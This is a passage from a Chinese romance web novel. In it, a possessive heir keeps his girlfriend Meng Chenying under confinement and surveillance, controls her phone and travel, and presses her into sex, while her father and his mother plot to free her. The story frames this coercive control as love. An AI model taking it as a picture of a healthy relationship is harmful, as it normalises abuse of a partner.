在她印象里,昨晚她迷迷糊糊间有拜托梁嘉序把手机给她,她妥协说她不走了,只是想要手机跟朋友聊下天而已。 那会儿她意识很混沌,不记得他是怎么回答的,只隐约记得最后他还是答应了。 电话是她父亲孟华淳打来的。 孟尘萦站在茶几前,雪白的脚趾蜷缩了两下,犹豫片刻,没有接听。 一通电话便在她迟疑间,挂断了。 再等她拿起手机,在考虑要不要回拨回去时,孟华淳又来了一通电话。 这次孟尘萦没有犹豫,快速按下接听。 听筒那端传来中年男人沉稳的声线:“萦萦,爸爸不跟你联系,你是真的不打算要这个爸爸了?” 孟华淳语气不太好,听上去似乎对她有不少埋怨。 将近半年没有听到父亲的声音,孟尘萦鼻尖一酸,轻轻地喊了声爸爸。 听到女儿的声音,孟华淳僵硬的语气不知觉放缓,“还知道我是你爸爸啊?” 孟尘萦嗯了声。 孟华淳直接问出打这通电话的目的:“听你陈阿姨说,你交新男朋友了?是跟周初皓分手了吗?什么时候的事,怎么也不跟爸爸提?我早就说了,周初皓那小子就是看你涉世未深才把你骗到手,你要想交男朋友,爸爸给你挑些优质男……” 孟尘萦泪水啪啪落,一滴滴砸在地毯上。 她许久没有说话,孟华淳隐约听到了些抽泣声,才意识到不对劲,“萦萦,你怎么不说话?在生爸爸的气?我是不看好周初皓,但也没说不让你们在一起啊,至于为了个男人生爸爸的气吗?” 孟尘萦连忙摇头,后反应过来,她摇头她爸爸也看不见,于是说:“没有生气,我只是想您了。” 孟华淳鼻腔哼出傲娇的轻笑,满意道:“还算你有良心啊。不过爸爸这次打电话主要想问你这个新男朋友的事。” “我听你陈阿姨的说法,你……” 孟华淳剩下的话卡在喉咙里。 因为电话那边,他的女儿没忍住崩溃哭了出来。 中年男人面色慌张,急忙问:“怎么了?谁欺负你了,怎么哭成了这样?” 孟尘萦压抑了许久的委屈与难过,终于在父亲的声声关切中,再也克制不住,彻底释放出来。 她捧着手机,蹲在沙发边,怀里抱着沙发上的抱枕,把抱枕想象是爸爸的肩膀,在上面大肆,悲伤,毫无形象,如同小时候那般在父亲怀里撒泼的哭泣。 见她哭得越来越悲伤,孟华淳急得不行,在电话那头几乎要原地乱窜:“到底怎么了?你跟爸爸说啊,你什么都不说,是想急死爸爸啊?” 孟尘萦哭了一阵,手背擦拭脸上的泪痕,哽咽道:“爸爸,您能带我走吗?” 这是孟尘萦在父母离婚后,第一次向父亲提出请求。 孟华淳心脏猛地被撞击一下,从这段简短的对话里,几乎很快明白,他女儿是真的走投无路了。 他再了解自己女儿不过。 自从父母离婚后,她就觉得自己被人抛弃,没人要没人疼了,所以他每次面对女儿,总是觉得很愧疚,许多话题都不敢提。 对于这个女儿,他的确欠她很多。 当年离婚,他跟她母亲闹得极其难堪,也让她童年留下如此大的缺口。 离婚后,他和许乐芳都另外成立了新的家庭,而身为这个破碎家庭一份子的孟尘萦,彻底成了多余的那个。 孟尘萦跟了许乐芳,而他出国展开自己的事业。 担心女儿在新家过得不好,他每个月都会打很多钱给她,想要弥补她缺失的那部分。 但他的女儿却从来不问他要过什么。 乖巧的过分。 他知道,她心里是埋怨自己父母的,一直觉得是父母抛弃了她,所以她过得再难,也不肯对父母低头。 这还是第一次,他那个乖巧又倔强的女儿,向他提请求。 求他把她带走。 孟华淳的心密密麻麻疼得像被针扎了。 他难以想象,他的女儿究竟经历了多少承受不了的事,才会跟他提出这个要求。 “萦萦,爸爸这就订回国的机票。”- 孟尘萦知道,她父亲是个说到做到的人。 说订回国的机票绝对会马上实行。 所以,不出意外,她明天就能见到她爸爸了。 可是当晚,梁嘉序回了璟兰园后,告诉她一个晴天霹雳的消息。 梁嘉序明天要去香港参加慈善晚宴,而她,也要跟他一起去。 孟尘萦找借口:“可我没通行证。” “给你办好了。” 他坐过来,把她搂在怀里,哄她:“带你去玩玩,散散心,好吗?” 她这段时间笑得太少,整天又闷在璟兰园,就像一朵许久没浇过阳光的花儿,蔫得没什么精神了。 孟尘萦垂眸说:“我不想去。” 梁嘉序:“晚宴你可以不参加,在酒店等我就行。” 她把话说清楚:“我说我不想去香港,我就在这里等你回来就好。” 梁嘉序笑意渐收:“孟尘萦,别想。” 孟尘萦气愤道:“为什么啊?你去参加晚宴也就一天时间,这点事也要带上我吗?梁嘉序,你就这么离不开我?” 她口不择言说的那些气话,也压根没打算听到梁嘉序正经回应什么,她只是实在不理解,他为什么要把她当成挂件似的,他去哪儿就把她带哪儿? 梁嘉序毫不迟疑,神色冷冽:“对,我是离不开你。” 他现在瘾很大,离不开她。 如果可以,他倒是想拿根绳子把孟尘萦捆在他身上,或者用其他方法也行,只要能时时刻刻看到她就好,这样他才能安心。 他语气坦荡直接。 这个回答一下使孟尘萦愣住,她不知道该说什么,看着他的目光由疑惑,渐渐转为难以置信。 那天晚上她们闹成那样,梁嘉序说,喜欢她。 这是他第一次对她说出喜欢这两个字。 以往他说的最多的就是,想要她。 喜欢。 她从没想过梁嘉序会表达出来对她的喜欢。 她一直以为,梁嘉序对她,只是一种见色起意,一种男人被漂亮女孩的吸引与求而不得的执念罢了。 他的种种行为,让她很难往如此纯粹的「喜欢」方面去断定。 梁嘉序喜欢她。 还说离不开她。 他的喜欢就是这样吗?那她宁愿不要。 孟尘萦垂眸,别开梁嘉序灼热的视线。 他缓缓勾唇,当没看到她故意躲避的样子,抱着她问:“下午有点儿事出去了,让你一个人留在家里,害怕吗?” 孟尘萦摇头。 他怜惜般,吻她脸颊:“手机还给你了,你想联系谁都可以,想去哪儿都行,跟我说一声就好,不过明天去香港的行程还是不能推。” 孟尘萦抬眸看他:“你不打算把我一直关在这了?” 他嗤笑,掐她脸颊:“傻姑娘,我去哪儿你必须跟哪儿,懂吗?” “对了,忘了跟你说。” “什么?” 梁嘉序黑眸微眯,似漫不经心道:“周初皓的工作岗位有调动,不在京市了。” 孟尘萦眼睫一颤,眸光微闪。 他似笑非笑,眼里凝结成霜:“别想他。” “你们以后再也见不到了。” 第46章 第 46 章 频繁 落地香港后, 孟尘萦跟着梁嘉序入住了酒店,距离晚宴还有几个小时,梁嘉序再次问她要不要出席。 孟尘萦摇头, 情绪淡淡:“我感觉有点累,想早点睡觉。” “是哪儿不舒服,要请医生给看看?” 她说没有。 梁嘉序不容置喙, 喊了人进来去请医生。 等了约莫半小时,来了一位年轻的女医生, 给孟尘萦做了个检查,医生说身体没有什么病。 梁嘉序嗯了声, 紧拧的眉也缓缓放松。 不过那医生欲言又止, 看着还有话说:“梁先生,孟小姐也是该好好休息了。” “怎么?” 梁嘉序问:“是哪里有什么问题?” 医生面色有几分难为情, 看了眼乖巧坐在一旁的孟尘萦,还是好心提醒:“房事过于频繁, 孟小姐是真的有点吃不消了, 是该休息几天。” 医生话音才落, 孟尘萦脸色都变了。 由红变白,又由白变红, 羞耻到恨不得立即钻进沙发底下。 梁嘉序沉默片刻, 淡声:“知道了。” 面上云淡风轻, 半点都没受到什么影响。 晚点医生离开后,梁嘉序又喊人进来,吩咐厨房炖点补气血的汤。 等人都散了去,孟尘萦心烦得很,心里的憋屈没地方撒,只能抓着沙发的抱枕躺下。 没一会, 灼热的身躯从背脊贴上来,梁嘉序问她:“那真不舒服?” 孟尘萦没理,把脸埋在软枕内,耳垂那的通红还是暴露了她此刻难为情的心思。 梁嘉序掌心贴她平坦的小腹那,轻微摩挲:“最近吃我东西是有点儿多了。” 孟尘萦的声音从软枕内溢出来,闷闷的语调:“梁嘉序,我说我吃不下了不是在撒娇,是真的,你根本就没听进去,不是吗?” 还害得她在医生面前丢人。 梁嘉序低声笑笑,吻她耳垂:“对不起,我会收敛点儿的。” 孟尘萦缓缓吐出气息,侧眸看了看正贴在她脸颊旁的男人,“怎么个收敛法?” 梁嘉序沉吟着,把闷在沙发角落的孟尘萦捞出来搂怀里,“这几天都不碰你,行么?” 那语气听着他像是受了什么委屈,孟尘萦气极反笑,“你是有性.瘾吗?” 瘾这么大,怎么刚交往的时候他竟是能忍几个月? 梁嘉序漫不经心一笑:“对你大概真的有。” 见她沉默,脸色也够难看,他眉梢微挑道:“你该不会真觉得我没人性?我说了让你休息,就绝不碰你。” “那你松开我。”她被他搂得太紧,都不舒服了。 梁嘉序淡笑:“孟尘萦,医生说减少房事,没说不让我抱你。” “更没说,不让我亲你。” 两人躺在沙发上闹了好一会,梁嘉序的助理便将礼服送了来。 趁着梁嘉序去试礼服的间隙。 孟尘萦拿着手机去洗手间悄悄给孟华淳打了个电话。 孟华淳很快接听,笑道:“你怎么知道爸爸落地了?正准备问你地址,直接过来找你。” 孟尘萦小声说:“爸,我现在不在京市。” “怎么不在?去哪儿了?” 孟尘萦说香港。 孟华淳皱着眉:“怎么去那儿,什么时候回?” 孟尘萦就是不知道什么时候回京市,才急忙给她爸爸打电话,“爸,您先回伦敦吧,等我过段时间再联系您好了。” 梁嘉序这段时间把她看得太紧了,这次来香港,看样子他是打算在这留几天,她目前也只能让父亲先回去再说。 孟华淳冷哼一声:“爸就在这等你回来,你回京后把你男朋友介绍给爸爸认识,正好爸爸有很多事想弄清楚。” 孟尘萦在犹豫该怎么跟自己爸爸说现在男朋友的情况。 她知道她爸爸是什么样的性子,如果让他知道梁嘉序对她做的那些事,她爸是绝对不赞同他们在一起,也会坚决把她带出国。 届时两人碰面了一定会产生矛盾。 她就担心梁嘉序抽风,为了把她留下来,会对付她爸爸。 眼下她只能阻止这两人见面,或许等哪一天梁嘉序对她放松警惕了,才能让爸爸回国把她带走。 “您就听我的吧,您先回英国。” 忽然这时,洗手间外传来叩叩声—— “我先挂了,您回去吧。” 孟尘萦刚挂断电话,洗手间的门就被推开了。 换了一身高定西装的梁嘉序闲散地站在门口,手肘撑在门板那,歪着身子看她,“在里面这么久,做什么?” 孟尘萦故作自然道:“能做什么,我上厕所不行吗?你怎么不等我应一声再开门啊。” 他走进来,视线落在她身上,“还是不舒服么?” 孟尘萦还没捋清楚,“什么?” 梁嘉序弯腰将她抱起来,走出洗手间,回到卧室里将她放在柔软的床铺上安置,随后,自己也翻身躺下,掌心贴着她小腹,垂眸睨她:“真就那么难受?” 孟尘萦后知后觉,把被子往上一掀,脸庞微热:“梁嘉序,我没不舒服。” “真的?” 梁嘉序已经开始解领口,“我今晚陪你好了。” 孟尘萦匆忙解释:“真没有不舒服,晚宴时间不是快到了吗?你快过去吧。” 他用手背探她脸颊,是一股羞涩的烫,遂低声笑:“不舒服说一声,厨房的汤炖好了,一会儿喝了再睡。” “嗯。” “想去外面逛逛也行,带个人一起,卡放桌上了,想买什么随便刷。” “嗯。” 梁嘉序不爽她敷衍的态度,手肘撑在她脑袋旁,缓慢挑弄她长发:“接下来还要在香港待几天,你先想想去哪儿玩。” 孟尘萦露出一双水润的眸子看他,“不能马上回京么?” “那么急着回去做什么?”梁嘉序起身,慢条斯理整理好刚开解开的领口,“让你在这玩几天,散散心。”- 孟尘萦喝完一碗热乎乎的汤,随便再吃了点便去洗漱躺回床上了。 不知道晚宴是几点结束,梁嘉序也没说让她等他回来。 她也没打算等。 洗完澡便躺上温暖的被窝。 等再睁开眼时,已是第二天。孟尘萦很习惯性的,睁开的第一眼就能看到梁嘉序。 她翻了个身,又被梁嘉序捞了回去:“还早,再睡会儿,下午再带你出去玩儿。” 孟尘萦把脸闷在他怀里,问他什么时候回来的。 梁嘉序没睁眼,低沉的声线缓缓钻进耳畔:“你睡着后。” “再睡会儿。” “哦。” 睡到近午时才醒,吃过午饭,梁嘉序带孟尘萦去太平山顶游览景色,夜里再去了维多利亚港,直到夜深了才回了酒店。 孟尘萦玩得小脸热乎,下午也品尝了香港许多美食以及甜品,回酒店后,弄得她甜品瘾也犯了,趁着时间还不算很晚,自己在酒店做了点小蛋糕。 她不打算吃,她也知道,梁嘉序不爱吃甜食,本打算直接分给他的助理。 正要把人喊进来时—— 没料,梁嘉序直接把她做的小蛋糕扣下了。 “没我的份?” 孟尘萦低头收捡工具,淡声问:“你不是不爱吃甜食么?” 梁嘉序慵懒地站在桌旁,一错不错地看她:“你的是例外。” 孟尘萦抬眸,撞入他漆黑的眸里。 他眉眼微挑,随后直接用叉子挑了一块蛋糕送入嘴里:“明天还想去哪儿玩?” 孟尘萦挪开视线不看他,随口说:“哪都行。” 梁嘉序眯了眯眼,看出来她没跟他说心里话,冷笑地提了提唇角- 在香港留了大概五天,两人才返回了京市。 自从那天孟尘萦给孟华淳打电话后,父女俩就没联系了,她猜想她爸爸应该是听了她的话回了英国,便没多想。 隔两天,梁嘉序又带孟尘萦回了一趟梁家。 梁承年在家里也穿着一身矜贵的西装,他坐在长桌的主位,温文尔雅淡笑:“小孟,听阿序说你爱吃酸甜口的排骨,叔叔特地让厨房给你做了一份,你尝尝合不合你的口味。” 孟尘萦微笑:“谢谢叔叔。” 看出孟尘萦在他家比较拘谨,梁嘉序便主动为她夹了一块排骨到她碟子上,“尝尝。” 孟尘萦嗯了声,垂眸开始认真吃饭。 梁承年漫不经心打量孟尘萦几眼,又看向自己儿子。 两人挨在一起坐,虽没什么交流,但梁嘉序照顾孟尘萦吃饭的动作很娴熟,看得出来两人平时就是这样相处。 梁承年眼底渐渐浮现几分意外。 一顿晚饭过后,梁承年没有留下跟孟尘萦闲聊,主动回了楼上的书房,把空间留给二人。 梁承年不在,孟尘萦的确没那么大的压力了。 虽说梁承年气质温文儒雅,作为长辈也很随和,但骨子里的自带的压迫感,还是让她不由自主会紧张起来。 梁嘉序是一把锋利出窍的剔骨刀,那梁承年则是一头看似很好接触的笑面虎。 父子俩一脉相承的,都让人觉得不好惹。 孟尘萦上一次来梁家发生了什么事,梁嘉序还记得,他侧眸扫过她脸颊,“去我屋玩玩?” 梁嘉序的房间在二楼。 虽然他已经很久没有回家住了,但每天都会有佣人进屋打扫,让他任何时候回来,都有干净透亮的卧室可以休息。 看得出来,梁承年真的很疼爱这个儿子。 上次来梁嘉序的房间,只简单看了一眼,这次,他强行拉着孟尘萦细细观摩他的房间。 最后直接观摩到床上去了。 梁嘉序揉着她腰,似笑非笑问:“养好了?” 孟尘萦说:“没。” 他笑了又笑,用眼神轻轻勾勒她绯红的脸庞:“放心,就一次,会收敛点。” 孟尘萦揪着他衣襟,提醒道:“梁嘉序,你爸还在家,不好……” “他住楼上,这层楼就咱俩。”他俯脸亲吻她脸颊的软肉 ,“萦萦,别拒绝我。” 他呼吸,不知不觉一点点在加重,“再不会让你吃不消了,信我。” 孟尘萦被他翻了个身,他的吻落在她的后背,每落下的一处,都格外滚烫。 孟尘萦趴着,两只手握着床头前的那两根柱子,周围气温似乎正在上涨,她的视线却忽然被床头柜上的相框吸引。 注意到孟尘萦看的方向,梁嘉序把那相册拿过来,她又被翻过身。 梁嘉序把相册给她看。 孟尘萦含着雾气的眸子,不知觉盯着照片中的人,似觉得有些陌生。 梁嘉序握着她手,气息洒脱在她耳畔:“这是我十七岁的时候。” 照片中的少年身着宽松的浅灰色卫衣,下身黑色休闲裤,修长的身材比例格外吸睛。 他站在篮球场中,右手托着篮球,目光看向镜头,唇角勾起坏坏的笑意。 额角的湿发显得张扬恣意,眉眼依稀可见其冷厉的锋芒。 看样子是打球途中,被周围人喊了一声,才看向镜头,被抓拍下来的画面。 过去十年了,实则除了褪去青涩之外,梁嘉序并没什么变化。 或者,该说气质更凌厉了。 孟尘萦垂眸望着这张照片一言不发。 梁嘉序目光落她脸上,滚了滚喉结,问她:“假如我们早点认识,你会不会喜欢我?” 孟尘萦想也没想,“不会。” 十七岁的梁嘉序,一看就是她避之不及的少年。 梁嘉序眸色骤然一冷,用了狠劲撞她:“是吗?” 孟尘萦没忍住哼出声,泪眼盈盈瞪他一眼,正要把照片放回去。 梁嘉序强势地压来,让她抱着那个相框:“抱着,不准松。” 孟尘萦不解:“为,为什么……” 他背肌紧绷,眼里波涛汹涌的情绪将她裹挟,那瞬间,孟尘萦甚至觉得自己几乎要呼吸不上来。 梁嘉序没回答,只是执拗地,让她抱着他十七岁的照片,不准她松手。 孟尘萦又羞又愤。 分明只是一张照片,但照片中梁嘉序眼睛看着镜头,勾着坏笑,那瞬间,她觉得好像十七岁的梁嘉序此时也在她身上弄她。 她全身感官被他吻得不断颤抖。 孟尘萦手指紧紧抓着边框,被他撞得声音断断续续:“梁嘉序,你这个变态!” 梁嘉序问她:“你小时候的照片有么?我想看看。” 孟尘萦闭了闭眼:“没有。” 梁嘉序俯身吻她红肿的唇瓣:“骗我。” “不想给我看?” 孟尘萦闭嘴不答。 她不明白他在较真什么,看到她十几岁的照片又怎样,她又不会喜欢上他。 第47章 第 47 章 “萦萦,我们结婚吧。”…… 夜色漫漫, 院外晚风吹拂,树影婆娑。孟尘萦正蹲着喂猫吃晚饭,有佣人过来问她还需不需要什么帮助, 她抬头微微一笑。 “没什么事了,你去休息吧。” 佣人后退一步,恭敬道:“小姐有事按铃就好。” “好。” 眼前三只猫, 只有两只在乖乖吃饭,草莓自己碗里有猫粮偏不吃, 非要去吃曲奇碗里的那份。 两只小猫就这样在孟尘萦眼皮子底下开始干架了。 而一向更活泼的麦芽糖,聪明地背过身吃猫粮, 就怕两猫打架, 害得它没饭吃。 孟尘萦后退几步,抱着双膝看着两猫闹腾。 只要不是打的太过火, 她基本都不会插手的。 没一会两只猫果然都停了,她把两个碗塞到草莓和曲奇面前, 叮嘱草莓不准去抢曲奇碗里的粮。 给猫喂完吃的, 孟尘萦回到沙发上看电影。 随着电影的音乐响起, 二楼走道也渐渐传来沉稳的脚步声。 孟尘萦看向荧幕画面,完全没有被楼上的动静吸引。 梁嘉序从书房走出, 身着黑色休闲服, 裤腰的松紧带松垮垂落, 领口微敞,露出冷白的锁骨,右手握着手机,慢步下楼。 他径直朝着沙发这走来。 正在懒洋洋通着电话,时不时嗯了声。 孟尘萦瞥了他一眼,又收回视线。 他没落坐沙发, 而是从孟尘萦面前经过,又绕了个弯去冰柜那。 打开冰柜,单手拧开一瓶矿泉水。 梁嘉序微抬下颌,灌入清透的凉水。 喉结滚了滚,他嗤笑,声线低沉:“没那回事,前两天还带回家见爸爸了,您不信自己去问。” 电话那头不知是谁,他态度虽然还跟往常似的懒散不羁,但却耐心接通,一直没有挂断电话。 他背脊往冰柜一靠,“我有必要骗您?那种事儿我做的来?” 听筒那端,中年女人的声线愈发冷沉:“梁嘉序,谈恋爱可以,可不要欺负女孩子,你要是真敢把女朋友困在你身边不放,老娘即刻就坐飞机回国。” 梁嘉序兴致不太好地轻抬眼皮:“您听信外人胡说,不信您儿子?” 江静娴勾了勾唇:“我就是信你,才知道你干得出这事儿。” 梁嘉序拧好水瓶盖,视线看向坐在沙发上乖巧的孟尘萦,黑沉的眸色逐渐柔和,“真没那回事,您要是回来也成,正好把儿媳妇介绍给你认识,您肯定会喜欢她。” 江静娴皱了皱眉,对自己儿子低哑语气中的宠溺,感觉极其陌生。 “阿序,弹个视频让你妈见见儿媳妇。” 梁嘉序有点不耐:“您想看就看啊,也不看她愿意不。” 江静娴讽刺一笑:“连弹个视频都不敢?你还说没有把那姑娘困在你身边?” 梁嘉序淡声:“她害羞。” 江静娴强势道:“再害羞也不至于连婆婆都不见。” 梁嘉序缓慢收回视线,沉默片刻:“我问问吧,一会儿回电。” 电话挂断,直到手机屏熄灭,屏幕内倒映出一双暗沉至不见光的眼睛。 孟尘萦在聚精会神看电影,剧情正在精彩的关键时刻,身旁的位置陷了下去,随后,梁嘉序熟稔地将她搂在怀里。 “好看吗?”他问。 孟尘萦把他肩膀推开,“你挡着我了。” 梁嘉序低声笑笑:“这么好看啊?比你男人还好看?” 孟尘萦冷冷地瞥他一眼:“真比你好看。” 他本就是逗她而已,没料到她竟真接了话,梁嘉序似笑非笑,神色冷冽,视线从她脸上挪到了荧幕上。 荧幕出现了一张俊朗的男人面容。 演员的气质较温润,眉眼衔笑,眼神澄澈温柔,是典型的老好人长相。 梁嘉序抬起她下颌,“你就喜欢这款儿?什么品味。” 孟尘萦紧抿着唇:“不管哪款,反正不是你这种就行。” “我这种怎么了?”他较真着,抱她放自己身上落坐,“我这么差么?你昨晚在床上不还说很喜欢?天一亮就翻脸不认人了,孟尘萦,你这张嘴怎就这么会变呢,嗯?” 孟尘萦脸被他气红,愤愤道:“是你逼我说的。” “那不是我的真心话。” 梁嘉序冷笑:“怎样才是你的真心话?” 孟尘萦直勾勾看着他,两只手腕被他强行扣住,整个人被迫依偎在他怀里不能动弹,“我的真心话,你应该知道。” “你要是想听,我不介意再说一遍。” 她目光冷漠得毫无动摇。 梁嘉序心里愈发烦躁,心脏像被狠狠地抽痛一击。 浑身都不痛快。 就这时,他手机屏幕亮了。 江静娴等得不耐烦,直接弹来一通视频电话。 梁嘉序:“我妈要见你。” 孟尘萦脸色微变:“我不想见。” 梁嘉序眉眼微挑,哄道:“婆媳总要见面的,放心,我妈人很好。” “别害怕,有我在。” 孟尘萦还想拒绝,但梁嘉序已经按下了接听。 屏幕内出现一张艳光四射的精致容颜。 孟尘萦一瞬间愣住。 画面中的女人,有一双妩媚狭长的眉眼,鼻梁高挺,五官深邃而精致,她乌黑的波浪长卷发堆放一侧,坐姿松弛,整个人如同绽放的玫瑰般夺目耀眼。 在看到江静娴后,她总算明白,梁嘉序最像谁了。 梁嘉序的气质的确跟他温润儒雅的父亲不太相似,更像他明艳四射的母亲,五官深邃精致,而他那双天然含着几分风流多情的眉眼,简直跟他母亲如出一辙。 江静娴看着屏幕内相拥的二人,视线落在梁嘉序紧紧箍着孟尘萦腰肢的手上,眉心一沉,却缓缓勾出笑意。 “你就是小孟吧?” 孟尘萦连忙喊了声:“阿姨好。” 江静娴的声线通过电流也悦耳动听:“你别紧张,阿姨就是很想见一见你,第一次见面唐突了你,希望你别介意。” 孟尘萦摇头,说没有。 江静娴看向梁嘉序,淡声说:“阿序,你让小孟单独跟妈妈聊几句。” 梁嘉序没同意,“有什么话我不能听?” 江静娴被无语笑了,细眉微扬:“婆媳之间的话题你也要加入?” 梁嘉序分毫没退让:“为什么不行?” 见梁嘉序态度如此蛮横,江静娴也愈发肯定了心中的猜测,转而打趣道:“这么护着女朋友啊?” 梁嘉序唇角微勾:“不护着,让你们欺负?” “你这孩子,说的什么话?”江静娴无奈摇头,又看向孟尘萦:“小孟,这隔着网络咱们也没法好好交流,阿姨过两天就回国,咱们再见面好好聊一聊。” 孟尘萦懵懵地应了一声好。 电话挂断后,她还有点稀里糊涂:“阿姨是特地为我回国吗?” 她知道,梁嘉序的母亲长期居住国外,这些年已经很少回来了。 梁嘉序以为她是害怕,安抚道:“别紧张,我妈真没那么古板,她很好说话,思想跟年轻人一样。” 不,应该说,比年轻人还要开放。 “她最新一任男朋友,应该就大你两岁。” 孟尘萦张了张嘴,小心翼翼问:“你爸妈是……” 梁嘉序淡声:“没离婚。” 孟尘萦咽了咽口水,也没继续追问了。 好像这种权贵家庭比她想象中还要混乱,不过这种事,有些普通家庭也都会有,其实也算不上很惊世骇俗- 江静娴回国当天,是梁嘉序亲自去接的机。 长款大衣随着稳当的步伐摇曳起弧度,江静娴墨镜也没摘,问梁嘉序:“小孟呢?” 梁嘉序单手插兜,神色懒散:“在家,没出门。” 江静娴驻足,高跟鞋踩在地板上,扭过头,似笑非笑问:“没把她带出门?” 梁嘉序挑眉,“妈,您对我女朋友这么感兴趣啊?” “能不感兴趣?”江静娴摘下墨镜,露出一双狭长漂亮的眼眸:“我儿子单身二十多年,难得动了春心有喜欢的女孩,作为亲妈还不能关心?” 梁嘉序扯了扯唇:“您这关心有点反常了,不至于让你特地回国一趟。” 他眯了眯眼,意味深长地看向江静娴。 江静娴嗬笑一声,手肘搭上梁嘉序的肩膀,认真问他:“梁嘉序,你来真的?” 她的儿子她很了解,要不是真上心了,是不会这样一再追问。 似乎生怕她把他女朋友给抢走了。 梁嘉序眉眼里的强势分毫不让:“我说是呢?您要棒打鸳鸯?” 江静娴一笑,大步往外走:“少来,那种俗气戏码别往你妈身上按,梁江两家不至于连一个小姑娘都容不下。” 梁嘉序慢步跟出去,淡声:“她是真害羞,您别吓着她了。” 江静娴又一驻足,侧过去看梁嘉序冷峻的面容:“带回家给你爸看,就不担心吓到她了?” 梁嘉序少见的狡黠一笑:“我爸他脾气好呗。” “梁嘉序!”江静娴被他气得嗓音不知觉提高。 机场外正有车子等候,江家的李管家几步迎上前,激动道:“大小姐,您回来了。” 江静娴秒变脸,露出笑容:“老李,好久没见,您怎么亲自来接了?” 李管家看向梁嘉序,微笑道:“从阿序那听说的,您回国,咱怎么能不来接您回家呢?” 江静娴勾唇一笑,目光扫向这江家车子,诧异地看向梁嘉序:“真没带来?” 梁嘉序语气冷淡:“有必要骗您?” 江静娴被他又是一气,冷哼笑了声:“让你女朋友加我联系方式,明天我要和她单独见面。” 梁嘉序直视江静娴:“我要说不呢?” “阿序,这么怕啊?”江静娴看着眼前的儿子,他还是那副凌厉的神色,熟悉的长相,却又觉得有些陌生。 向来天不怕地不怕的梁嘉序,竟然会害怕自己女朋友离开他的视线。 她有点难以置信,这是她儿子。 梁嘉序微勾唇角:“不是怕。” 他目光逐渐冷冽,却无比坚决:“我是离不开她。”- 上车后,梁嘉序坐在另一边,坐姿懒散没什么正形,从进来为止他便一直在手机上敲字。 趁他不注意,江静娴悄咪咪偷看了一眼,才知道他正在跟孟尘萦聊天。 从聊天框的对话长度里能看出来,对方的回应很冷淡。 基本就是,哦,嗯,好之类简单的话。 他却聊得不亦乐乎。 江静娴摇了摇头,暂时不太适应梁嘉序的转变。 车子尚未启程,她无聊到手肘撑在车门上,视线看向外面的景色。 忽然,她通过后视镜看到一辆熟悉的车子。 以为是错觉,江静娴眯了眯眼去确认。 她没看错。 车牌号她也很熟悉。 那是梁承年的私人车。 ………… 江家老宅。 梁嘉序在江家逗留了半个小时便提出回去,年迈的姥爷姥姥舍不得他走,拉着要他留下吃个晚饭。 “真有重要的事儿,下回我再挑个好时间陪二老吃饭,行么?” 哄了好半天,两位老人家才肯放梁嘉序走。 等梁嘉序走了后,江静娴也回屋换了身轻便舒适的衣服,跟二老叙旧。 夜里吃饱喝足了,休息半小时,江静娴又去后院跑步锻炼身体,期间还在国外的小男友发来想念她的消息。 她笑着,隔空给了小男友一个吻。 等退出跟小男友的聊天界面,江静娴又戳开了最新加的好友聊天框。 她握着手机,后背押在健身器材上。 年近五十的中年女人,身段还保持得如此紧致苗条,少不了她多年来的自律健身。 她歪着头,运动后脸庞浮着薄汗。 【我回国了,明天就可以见到小孟,放心,我会想办法给你女儿自由。】 孟华淳秒回:【我什么时候才可以见到我女儿?】 江静娴:【不确定,但我会尽快。】 虽然还没真正见到孟尘萦,但她早已做下了决断。 梁嘉序从小就无法无天,从出生起几乎身边所有人都要听他号令,身为梁江两家联姻的独生子,他自是要风得风,要雨得雨。 素来狂妄,没人能降得住他。 自小在这样的环境下长大,他从来只会顾着自己的感受,更不会懂得爱人。 趁还来得及,早日两清,对双方都好- 回到璟兰园,梁嘉序主动提起江静娴明天要请她出去逛街的事,“不愿意的话可以拒绝,不用担心我妈会生气。” 孟尘萦想了想,反而点头,“我想去。” 梁嘉序一笑,把她搂在怀里:“怎么,这么想见婆婆啊?” 孟尘萦无语:“才不是。” 她只是这段时间被闷在璟兰园实在太久了,每天跟梁嘉序形影不离,去哪儿都要跟他报备,她根本就没有自己的空间。 她想,要是跟梁嘉序的妈妈出去,他应该不至于也要时刻知道她跟她妈妈在聊些什么,她多少也能有点空间。 梁嘉序俯脸吻她唇角:“你想去,明儿就送你去。别害怕,我妈不会欺负你。” 孟尘萦嗯了声。 隔日梁嘉序亲自把孟尘萦送到了跟江静娴约定好的地点。 还是梁家的商场,孟尘萦在这也有一家甜品店。 此时江静娴正坐在天台晒太阳,好不恣意。 梁嘉序牵着人过来时,江静娴险些睡着了。 她摘下墨镜,视线毫不掩饰将孟尘萦打量一番。 女孩长发披散,身穿素白长裙,今日风大,外面罩了件淡紫色的薄衫,风轻微摇曳,她裙摆微扬,空气中隐约溶着她身上淡淡的馨香。 乖巧,文静,白皙。 气质清清冷冷的,眉眼很灵秀漂亮,眼神里偏有股让人怜惜的破碎感,看似柔弱,却不掩骨子里的坚韧。 孟尘萦没在意江静娴的打量,主动喊了声阿姨。 江静娴让她坐,笑着问:“喜欢喝什么?” 梁嘉序让侍应生过来,吩咐:“美式,不要冰。” 江静娴挑了挑眉,“阿序,这不是你口味。” 梁嘉序搂着身旁的女孩,张扬一笑:“可不儿,她的。” 孟尘萦浅浅微笑,没说话。 江静娴意味深长地喔了一声:“把人送来你就可以走了,婆媳俩下午逛街,你也要在?” 正好梁嘉序也接到一通电话,说是有紧急的合同需要他过目,他挂断电话,起身,弯腰在孟尘萦的额头上印下一吻。 “玩累了跟我打电话,我过来接你。” 孟尘萦嗯了声。 目送梁嘉序离开,孟尘萦蜷了蜷手指,捧起面前的咖啡。 江静娴长腿交叠,身子微微前倾,很闲散自在的坐姿:“你别紧张。” 她看得出来,自从梁嘉序离开后,孟尘萦就拘谨了不少。 虽说这两人的感情或许是她儿子强迫,但小姑娘也的确是依赖他。 或许她自己都没察觉。 孟尘萦轻抿唇角:“好,我不紧张。” 她平时本就话很少,尤其面对长辈,更不知道怎么打开话匣子。 更何况,江静娴自身便有一股让人不敢接近的压迫感,她跟梁嘉序父子俩那种锋利的上位者气势不同,江静娴是艳丽耀眼到,让人不敢直视她的眼睛。 明明江静娴眼底含着笑意,眼神也很温善。 可她就觉得,眼前的中年女人身上笼罩了一层金光似的。 不愧是有番事业成就的女强人。 江家在京市的名头多年来极其响亮,因财力雄厚,其产业发展更是一流,国内外都极俱影响力。 而江静娴身为江家长女,身价自是难以估计。 听闻江家有多半在国外的产业目前也全归属江静娴掌管,是以,她已经在国外定居约莫近十年,也是梁嘉序那晚告知她的情况。 他父母的婚姻,大概在十年前就名存实亡了。 